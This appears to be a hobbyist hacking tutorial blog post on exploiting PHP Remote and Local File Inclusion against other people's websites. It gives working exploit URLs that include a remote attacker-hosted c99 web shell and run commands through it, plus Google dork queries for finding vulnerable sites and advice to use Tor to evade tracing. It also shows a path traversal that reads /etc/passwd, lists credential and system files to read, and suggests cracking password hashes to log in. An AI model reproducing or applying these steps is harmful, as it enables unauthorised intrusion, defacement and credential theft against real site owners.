I have recently been dabbling in the realm of the highly despised. Yes, I realize that this may be interpreted as kiddie script-esque, but it is someone we should all know of/understand. If you are fairly new to the whole "website editing without direct permission" (as opposed to the shunned word, deface) then allow me to explain these two fairly old/but still useful methods of attack. Now of course there are much more sophisticated methods out there, but this will suffice for the beginner. Of course this will be used to test your own site's security, and conceivably your €œfriend's site. On a side note, the majority of this article will focus on RFI, and only a touch of LFI.

Let's get down to business. RFI stands for Remote File Inclusion. The way it works is that when a website is written in PHP, there is sometimes a bit of inclusion text that directs the given page to another page, file, or what have you. Below is an example of the code:

include($base_path . "/page1.php");

The include above uses the page1.php as its given file to load. So say the user were to browse to the bottom of the page and were to click €œNext for example, he might execute the code to trigger the next page load, in this case may wind up being the inclusion of page2.php. All depends on how everything is written. To get straight to the point, RFI is exploiting this include command. It is the idea of running your script or what have you remotely within the given site. If we can manipulate the $base_path variable to equal our own script, then it will be run as if it were a normal file on the web server itself.

Now say we stumble upon a website that we just so happen to know uses a very basic, didn't pay much attention to making it invulnerable include function. And we also appear to know what the given variable is, (this will all be in reference to the code above). The code is located within index.php of the http://lameserver-example.com/index.php. Now, to €œedit the given variable, we would place a ? at the end of the selected file, and define the variable from there. We are redefining the variable at this point to some other server's text file elsewhere that contains PHP. You may ask, why only .txt? Well, think about it. Since this remote inclusion will take the file as if it were its own within the server, it is going to treat it as if it were a non-parsed PHP file that needs parsing! Thus taking the given text within the text file and parsing it as PHP, and eventually executing the remotely supplied code. Take this as an example: http://lameserver-example.com/index.php?base_path=http://anotherserver.com/test.txt?blah

Explanation: lameserver-example.com is the base targeted URL, index.php is the file that is being exploited, ? is to allow us to tweak the so called blind file to make base_path (the variable) to equal another file elsewhere. The text.txt will be parsed with the command after the ? called blah. Now to the fun part. Now that we have our target, and we know that it will display the text in a parsed manner, we can see how valuable this concept really is. You probably want to see and manipulate the files within the server, possibly even €œtweak them a bit for the administrator. Obviously not very wise or kind, but this is just a concept. Thankfully, someone has already done all of this work for you/us. There is a shell called c99.txt. It is a command prompt based shell that has the ability to execute most commands that you would usually execute within a bash shell, such as ls, cd, mkdir, etc. Most importantly, it gives you the ability to see what files are on the supplied exploited server, and the ability to manipulate them at will. First off, you need to find a shell that can do the dirty deed. Do a google search for c99.txt, there is also one on this server, though I do not recommend you using it... Download it and upload it elsewhere to be used. Let's see what the command will look like once executed within our browser. http://lameserver-example.com/index.php?base_path=http://anotherserver.com/c99.txt?ls

Well what do you know? Fairly similar to before. Only thing that changed was that we placed our proper directory and filename for the shell that needed to be parsed. If all went well, we will now have our shell looking inside the web server, and will have the ability to manipulate our index.php to anything we please. The program is very self explanatory, really no reason to go into much detail. Now let us try out a real example of this in the real world (ahem, ethereal world, rather).

The way majority of people who don't feel like doing the work to find exploits, normally search on milw0rm for a public exploit, then apply it in the manner it is given. Other people either use scanners, or google dorks. A google dork is the act of harnessing google's provided tools/phrases to help filter out what you are looking for. The most success I have had when searching for a particularly vulnerable page has been with the search method of:

"Powered by PHP Advanced Transfer Manager v1.20"

Now, you can certainly use your creativity, and find other google dorks and other vulnerable programs by doing a bit of searching on milw0rm.com, but this will suffice as an example for now. Once my target has been found, I try my code found within the milw0rm database. All I need to do is find what inclusion variable they use, and add a ? after the index.php along with the command and included file of ours, conveniently located elsewhere. Before I go any further, go grab the tor, vidalia, privoxy, and torbutton bundle, and install it. Proxies are your friend, remember that. Here is what our scenario looks like:

Now of course I didn't touch this site at all, and I hid the URL, etc. for very good reason. The pictures are pretty much self-explanatory.

On to the next theory, LFI. You guessed it, LFI is Local File Inclusion. This is when you find a particular file within a database, and use it against the web server. Such as, finding the faithful /etc/passwd/ folder, cracking the MD5 hash, and then logging in. ;) The method is pretty much same as above, just a matter of finding the exploitable site. By the by, all of you should understand this by now, but ../../ represents two jumps back within the directory of the web server. All same ideas here, except we are now applying a different address within the inclusion, the file located by default on the server. One example on how to find these is to look either for an exploit on milw0rm, or do a google search for

inurl:home.php?pg=

or

inurl:index.php?pg=

They are pretty easy to find, really no sweat. It took me roughly 40 seconds to find this one:

All I had to do was add: ../../../../../../../../../../../../../etc/passwd after the bit of code stating: home.php?pg=

How much easier could it get? Now that we have all this so called gibberish in front of us, let's interpret what all this means, and how we can use it to our advantage. The syntax of the sets of text in front of you is username:passwd:UID:GID:full_name:directory:shell

But it appears in our case that the password is hidden, aka, €œshadowed. This means that it has been replaced with an 'x', and is now located within '/etc/shadow.' We will not be able to access this, since it may only be accessed by root. Oh well, this is just to get your feet wet. So whenever you see an x, as opposed to a jarbled password, it is located in the /etc/shadow, and if you see a !, it means that it is located within /etc/security/passwd/ directory. But let's just say you find a good directory without anything being shadowed and whatnot. What do you do now? All you need to do now is decrypt it, and you are done! You may also wish to peruse around in other directories, such as:

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

That's it for now for the Hacking Spoonfed series, hopefully I will dabble a bit more later with this area... Till then, good luck!

-leetupload